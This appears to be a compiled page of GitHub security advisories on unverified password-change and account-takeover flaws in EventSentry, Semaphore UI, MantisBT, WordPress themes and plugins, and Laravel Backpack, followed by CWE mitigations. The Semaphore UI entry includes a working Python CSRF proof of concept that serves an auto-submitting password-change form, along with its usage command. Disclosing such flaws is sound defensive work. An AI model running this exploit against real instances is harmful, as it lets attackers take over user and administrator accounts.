GHSA-8C83-CVGQ-PP7W

Vulnerability from github – Published: 2026-02-24 21:31 – Updated: 2026-02-26 03:31
VLAI
Details

EventSentry versions prior to 6.0.1.20 contain an unverified password change vulnerability in the account management functionality of the Web Reports interface. The password change mechanism does not require validation of the current password before allowing a new password to be set. An attacker who gains temporary access to an authenticated user session can change the account password without knowledge of the original credentials. This enables persistent account takeover and, if administrative accounts are affected, may result in privilege escalation.

Vulnerability from github – Published: 2026-09-03 19:23 – Updated: 2026-09-03 19:23
VLAI
Summary
Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation
Details

Summary

The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.

Details

The password change endpoint of Semaphore UI does not implement any CSRF protection:

  • No CSRF token required
  • No current password confirmation required
  • Authentication relies solely on a session cookie (semaphore) with no SameSite enforcement

A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users//password forms.

PoC

To reproduce the exploit, you can use the following python script:

import logging
import argparse
import time
import sys
import os 
from http.server import SimpleHTTPRequestHandler, HTTPServer

logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')

def forge_malicious_page(target, user_id, newpassword):
    return f"""
        <html>
        <body>

        <form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">

        <input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}'  value='//}}' />
        </form>

        <script>
        document.getElementById("CSRF_POC").submit();
        </script>

        </body>
        </html>
    """;


parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri",  help="Base uri to target", required=True)
parser.add_argument("-n","--new_password",  help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port",  help="Port to run server", default=1337)
args = parser.parse_args()


class Handler(SimpleHTTPRequestHandler):

     def do_GET(self):
        logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
                (self.client_address[0], self.command, self.path,
                self.path.split('?')[1] if '?' in self.path else 'None'))
        content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(content)))
        self.end_headers()
        self.wfile.write(content)


httpd = HTTPServer(("", args.port), Handler)
logging.info("[*] Serving at port "+str(args.port))

httpd.serve_forever()

Example :

python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337

1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337. 2 - Connect to semaphore UI in another tab with the targeted user. 3 - In the same browser, visit the malicious website (ex: localhost:1337). 4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password passwordchanged.

Impact

This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.

Vulnerability from github – Published: 2025-03-01 09:30 – Updated: 2025-03-01 09:30
VLAI
Details

The Nokri – Job Board WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.2. This is due to the plugin not properly checking for an empty token value prior updating their details like password. This makes it possible for unauthenticated attackers to change arbitrary user's password, including administrators, and leverage that to gain access to their account.

GHSA-93X3-M7PW-PPQM

Vulnerability from github – Published: 2024-05-13 14:57 – Updated: 2024-05-14 20:01
VLAI
Summary
Mantis Bug Tracker (MantisBT) allows user account takeover in the signup/reset password process
Details

Insufficient access control in the registration and password reset process allows an attacker to reset another user's password and takeover their account, if the victim has an incomplete request pending.

The exploit is only possible while the verification token is valid, i.e for 5 minutes after the confirmation URL sent by e-mail has been opened, and the user did not complete the process by updating their password.

A brute-force attack calling account_update.php with increasing user IDs is possible.

Impact

A successful takeover would grant the attacker full access to the compromised account, including sensitive information and functionalities associated with the account, the extent of which depends on its privileges and the data it has access to.

Patches

92d11a01b195a1b6717a2f205218089158ea6d00

Workarounds

Mitigate the risk by reducing the verification token's validity (change the value of the TOKEN_EXPIRY_AUTHENTICATED constant in constants_inc.php).

GHSA-94R8-MJP9-M9V4

Vulnerability from github – Published: 2025-05-09 09:33 – Updated: 2025-05-09 09:33
VLAI
Details

The IMITHEMES Listing plugin is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.3. This is due to the plugin not properly validating a verification code value prior to updating their password through the imic_reset_password_init() function. This makes it possible for unauthenticated attackers to change any user's passwords, including administrators if the users email is known.

GHSA-9FW9-8C49-QCH8

Vulnerability from github – Published: 2026-08-20 18:38 – Updated: 2026-08-20 18:38
VLAI
Summary
Laravel Backpack CRUD: MyAccountController allows changing the login email without a current-password check
Details

Summary

MyAccountController::postAccountInfoForm allows an authenticated user to update the authentication column (default: email) without verifying their current password. Because email is the account-recovery anchor, this enables account takeover after the attacker's session ends: the new email address can be used to request a password reset from outside the system.

The password-change endpoint in the same controller correctly requires old_password verification, so the gap is asymmetric.

Details

The postAccountInfoForm action passes $request->validated() directly to $user->update(). The AccountInfoRequest whitelists the authentication column (email by default) with no ownership challenge. Contrast this with ChangePasswordRequest, which uses Hash::check against the stored password before allowing any change.

Scenarios where this is exploitable include: - A brief unauthorized session (e.g. unattended workstation, XSS in the admin panel) - An insider/offboarding case where a departing admin sets a personal email address before access is revoked, then resets the password after leaving

Patch

Fixed in #5990 — the authentication column is now protected by a current_password check (mirroring ChangePasswordRequest) whenever its value changes.

A stronger mitigation — sending a verification link to the new address before persisting the change — can be layered on top using Laravel's MustVerifyEmail flow.

Affected versions

All versions prior to 6.8.14 / 7.0.38.

Fixed versions

  • 6.x: 6.8.14
  • 7.x: 7.0.38

Mitigation
Architecture and Design

When prompting for a password change, force the user to provide the original password in addition to the new password.

Mitigation
Architecture and Design

Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.
